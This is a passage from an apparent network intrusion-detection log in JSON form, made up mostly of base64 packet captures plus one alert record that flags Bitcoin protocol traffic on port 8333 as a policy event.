HQicLB+gz30DjAw7haIHj+8xkfU\/2Hgy8u++sDxgI+3ywW7EiNBAMw9v+2BlD\/xkD\/PA105TwKdOFbw1+EH\/45jxU8g\/j\/dAVfvwE4trb9\/xicPyFfbDkUUyvoeF1mB913w\/d7GEBc2BYBdCZEFwwY8CntfkiYSPc1xiRIuIT\/wPCcHVzAD8iJvw4jF7wtu3c\/ayVImP8XnPb3P4SJXCTwTIlkJPhSKEGJ\/CCPO4v14UG4EMy6FVhqnYUM7wQkHg\/eZ6GsdpvcflBEiedXFDWLqLc1vOYYTIsg4ijjBkFWQRbc\/vtVQVRVU9ogTI10JBwIbCQEttR2cO8eb8cFGnysANAcm9K9ti1oD4SgHh0ysD4A0waiDSsMvwa1IK5wm83ke3jiPeuE0LyTDPLOdx2ZJtf\/w2+47yCJRP49pH4M8r4hVNNssBh+wGbivApE7qbB3TVLHDH\/6YzF6z4hM3jawTzHHXBrujc03\/EbWuYEw9d0bYsDQmp0ZoPoDzsMt3IOAXca6xfskynoSGTB024yCXayhChIxC18I8+CXb0s6UwcghwYtqF9j\/w71EhjUBQoQLaJ7gxBs32+OFAVTB0CTuR6RXBD2qB4Mcm6DRUyykAOuZACsAl\/0P7FaCBbXUFcQQZeoQyZ9z0Z8dXBU3RIY+QE1ZDGoGhgfgaBe02iv440v+lUoPdJidRVU\/OJ3v\/\/b9rC6xblSInySP\/BSI12AYA6IXQJSDnI1eBWn3UUCwOLLRYiEAULGrQE7rcM5HUpPkHha8P\/gDwkOg+UwEkBxAjtdPzvPGjQ0EVcCOc5LBTeeTuAy8BjkFDXBIIPPl7V+uvEGAMx9gAF\/89eqv85wnMSgDsgdA3\/xhDDsMd9BaLWInLuCDMgFUVS8G02KoP5BH7Wft+WL5fKIMEZNVZ5Hq7cC3kPhaOiBnYArGAg2Bt4NC3kC04RIXR8GQJ+2tYwCiYPC4sOO3r0U6zASLIQTGwCL4C1OzRcEqADiAV4OB9pmxQQQwESbQLGBWBx2sP1\/10PCDZQkDte8wgYw5397OAW7V6fMhYwA1zro1h3LDCfYRFZWwg\/rsIJKkYuqJu8Ghz8RHOcv4hwQFzCp8A1YAXoZxw1370Ag6chjn84eofdsZpsYf9VNPzwawBR1QyUywi\/e2uLNHQwxvUE0+sMkN8p03QZSAEanAK0xRTahu4bXHKt468YAHwTdd+q6EDY003xr2YFw9uDOAR1Bli268FtgA3qx8BF69za3yj4iu7Tf7wGw3UCW8OFgQEKfkFXjUIDFtfvLqDBP031STHtQDDtORj+yrWiNkSY+MbaEPZBwf8C1TvHiakW3HsjEB67Me3e7A3MGIhUP3QGbTDbz7CK7WM54AF7hEwxsIm9xiAAQQK9PK3t2N68hdsPjhIi3BYUJAZMXomG397w0IPiA7wCweIEHsBAiqiggN7Ftdf\/icjB6AQJwoP7AQYsgiZ0vrXv9OqIxtbVbCh0toPhD4HlRQZ4FRb\/jQSNlUzBsX2l\/eoGCdBImGSAweAQCcWIAri7Y28vHn4NePCD4D83GHZ4PGhtgLhIQCr90BXsNEi79n5O6Cgi\/Gwnw97PiiDB7xBM\/ylXGOx\/02EhRkGkRTn+fHJFhfZ+FzbD\r\nc+ABWCWneVd\/QKd6DYezFoz0ayGcuvYFOPX\/QV\/DQu89DODF9v6irr+wcG+a66L\/xs6Q4ntEsCH936AZRl+3it+NpYwoIuE\/e+mDDD3\/gc0UM56psKuGuR\/o8D1WoT2wDmwuifdTvqdGHaNE7JDNHWz2oOjdHY7EvkckH4jq3fW1c\/boCsYgIVxfnEGzK9wlixwkFggImhC3WpymrukzZr+LP6ioUL7grHT81j8eGQpWaB\/zgexYX+oXHIQU\/UyNpCSg3va6mC3xJzDnGDxBg\/0O0IBNu3fiRIQkKFRy4uZEgg\/va\/OcYYkv\/0w8+WuCayZAGDqYSA+sJFALXFDazMR5BFZxJ7z62NlUJDD20A57oRJFYjhklTcIJ6zqtYNACkSeTCxIjMIys\/2R0NLPquIPKXjxBnDhNpvNZmjRYMFYsVChSJHBr9BtQIFT4KANgm4QYy6s4IICHARAMyHeBDDh9kgIIIMG73KtEIXJdQWBPFB\/xFfL2ADfVL9uQbxP7Bg9LMDETgAx28BwIdoXXEaw4mkMQB9XmiONDBDGQBSl\/\/\/digx2vxp39+yJ8cH5H8H6AynKD6\/XKdbTA1WijZLuKzp2aduidhR105LnrgBtBgF1DgKBacTnAwQt9BZu7G11R0iqLw0ArSa8Fl6om81m2zwFWwYGMQcwCF0JLeWxz2M\/jScGMh+8NB5SeUgz60E0Gk\/flYdUNUlcNn50FnhpnyufKzd+aKd2OH5c1oNngp8rOX5QwcUAFwjP28\/bCV0uCi1+OKwHARYHNX4sgvLBysGLAV4yfhwmWA8CyODKt34QFi6TNH4ECyGG1etecDxd33vgshK6zXFcUSVM8IyuC0a6JLtNwwj8iF+J+7+gpiUPEOWu0GApeow6RqNHrH2EFQ4V0QjCvl4peOAdujzEW8O+ShrhlRH7hCb831fyYDO+Ma2MKC71wrWgfHy\/Uz1F4qUK+0C\/XiNkfsnVhXggXRyIAq8dsLkdLTxSxRX63l5f6b0WLE","stream":1,"packet":"fK10kl+AfK10kj0AgQAOfggARQAF3B2lQAA4BpR6W3lAEIBlbw7hLgBQSnx5qMwd13OAEABzTN4AAAEBCAoDoFt11F+byE56MHdlUEQ4Uk1nVFJJTS8yeDQvQU8rd0hsQWI1M2N2clY5UXZ1VmV4M2Jyc1ByUUpCcHlPTHRDaWkrSWtrWGZMOFJsS1RGM3NVMzJYQnNyQmdMWExXSkp5Z2pOUUhpR2ZoYVJaelo4b1ZodURvWVRsSkVZZ3lQcnhZWVJHYUF4TXpycEx0d3hpcUJEKzcveFVnUVYvRmlVVGhGNitaanhkT05RS1hLUlBUQjRBU2lGaGQzZ3p2L2tHaHlVU3gzQjNUeGFyMVRQSXQ3Q0tHZzNEN0FDSTA1YkVKMTYrbkdsNEovcVkxVkJiNE1wVEJTYm9ya1VOV2ZWdUR5NUVUeVZ4eFhERmFzQXdoNVVGYzhxNUJEeVZsM1ZXek5Bem5KVmMxVnIxVmNWa1FnTDVDeFZsWWd3d2prVlN3MEZtOGJyQVJMV09NNC9nRjBFU3JYZG8wVE9MaDFYZyt2ckZiaFZ1SFlXd3NvWUhUb0xmc2N4MG1EVW5uYU14Zmtrc3UwT3dQVzFyN2tkcmtFMHF0NEJYUm1OQi9aM0N0ZThyanFCblJKeXNuSmw5ejRkRUVIZEM4bkI0ZWRmQWgwRlEwYXBCNjA5OWpCVjh5Y3d3ZUp3Z3pUQjdhQ3B6ZnBUdXpuN3dmeHhxVEZQMndlZGxGUmNUMWc0Qmo5UmtnTWIyak4wUFMvYWRYUzBtaDh4WGh2TWNsYUNyNmhKUTg0QUhkVS8yazBQQmhtd2NnSVpvbE42Tmx1NkNCTVVTNGtIRXhYU0cveU54c2tGb2Q0a0dvb2NEQzkxZ1U5bFRoQVNLZEhJU1NFdnJ0Y0NhRUhJeENlZERMREVFSUhrQ3A5MzUzNkVQck9IRkoxMXVWNEN3aWxwUkRwNVFCUDJsRGs1MStmMEptbzNQTkJpZjNNOXhoc3p5RXhzdGtBRDR3UVhBaUVOVGxEU1MzcnZNQUFyeHdRa0hwb2xBRUg1c0JDTXlrOHo1dDFyVHhNaWZkSmkvb1lOeGNZaHpFSWhRTG5zL0VVUTdvbEtDWXBNOEpycCthNlJnNURrbWwvUk1KSnc0c1Y0ejRRdnNBTGlLQzc4YjVhUkJpdDZ1by9ZSVh0V2x2ek1kdnJELzlKQ1c2MDNqbmRoaVRmbW5VMXI0dGNDTjc0LzNyNkJORWdLUEZ4Tm14TnZUYTZPbElJNnUybGl4UUtBTUVJUGhEenVBU1hma05ZL0NTL1gzRUpyL1pFeFV3cDg0WGhoQmFPeDFwRG94ZHFsN3V3NndWK3dSd1BFSTgvZEUwTmtGNHk0WGwrUWYvRlJEbHNoVTc1MzdFZ2xRMmVmL1VoQ25Ua0dXSW9GZW5uN0xhN2gxdTJ1TjFIM0VnOUZYU3EzYWloMTFBc2RaNGp4K0YzTEYrSi83OXo1RzZmRjBEdXZvVVBVYWdhZENSa2dCbmtDTDVFUnhJSGRCOEJkYnFJRTB2R0hmMjl4WUFYRDMyL2ZIOGtqNUNoaDE0aFhKY1E1SG0xZllWZmFvb3VIbDNybjJxa0dlcjRORllzMmNRQm8vUnpwUHYxekErMkJaOUVkMGJlYnpxRVMzVVVIcEFSa1lSRGdXVmVEYkFvdWdCZklVNktEQWFBT1Mra2pVTC84ZG5hSFd5TkJBYVV3U2hBLzNYMElUcDBIUUVZd2h5bkNXQ0pWNGU2NUpwTFRQZFVXSGZuWXQxSVdSUU5FeFlsTjNqb3VGRGFKUVJCZzlSZ3hFNXhRaWJQbW5RVE1pWHRLTWlHNlRKZEh2SEZEbGJad2RaMUNDUDhzYUMzMitOY3doOXN1UDhCZmpDQTFyN2s2YWtVWFJML050UVFRM1k0RWZaaEVJaSsxYjlGT2VkMTJ3aDFPT3N4MEV4Y0hLMGNIMHhiZGg1MENSQ2JvQjlyd1d4S1JERWZqVHdEMCt3aHE3SVYz"}
|
|
{"timestamp":"2015-04-07T11:30:44.608660","flow_id":212425744,"in_iface":"snf0","event_type":"alert","vlan":3780,"src_ip":"134.84.152.181","src_port":55936,"dest_ip":"74.15.106.110","dest_port":8333,"proto":"TCP","alert":{"action":"allowed","gid":1,"signature_id":2807135,"rev":2,"signature":"ETPRO POLICY Bitcoin variant Checkin 2","category":"Potential Corporate Privacy Violation","severity":1},"payload":"Li4uLmludi4uLi4uLi4uLiUuLi5cdS4uLi4uLi5XLi4uLi4uSi4uLi4uLjIuLi45LkwuLiouYC4uLi5eLg==","payload_printable":"....inv.........%...\\u.......W......J......2...9.L..*.`....^.","stream":0,"packet":"fK10kj0AfK10kl+AgQAOxAgARQAAcRr8QAA+Bk4EhlSYtUoPam7agCCNjekKUV6gpAiAGP0grUEAAAEBCAoAEOh0AA5hLPm+tNlpbnYAAAAAAAAAAAAlAAAAXHXf5AEBAAAAV8EE\/fAYHUrUkqqAl+gyo4cHOdtMD80q5WDAwuimXoA="}
|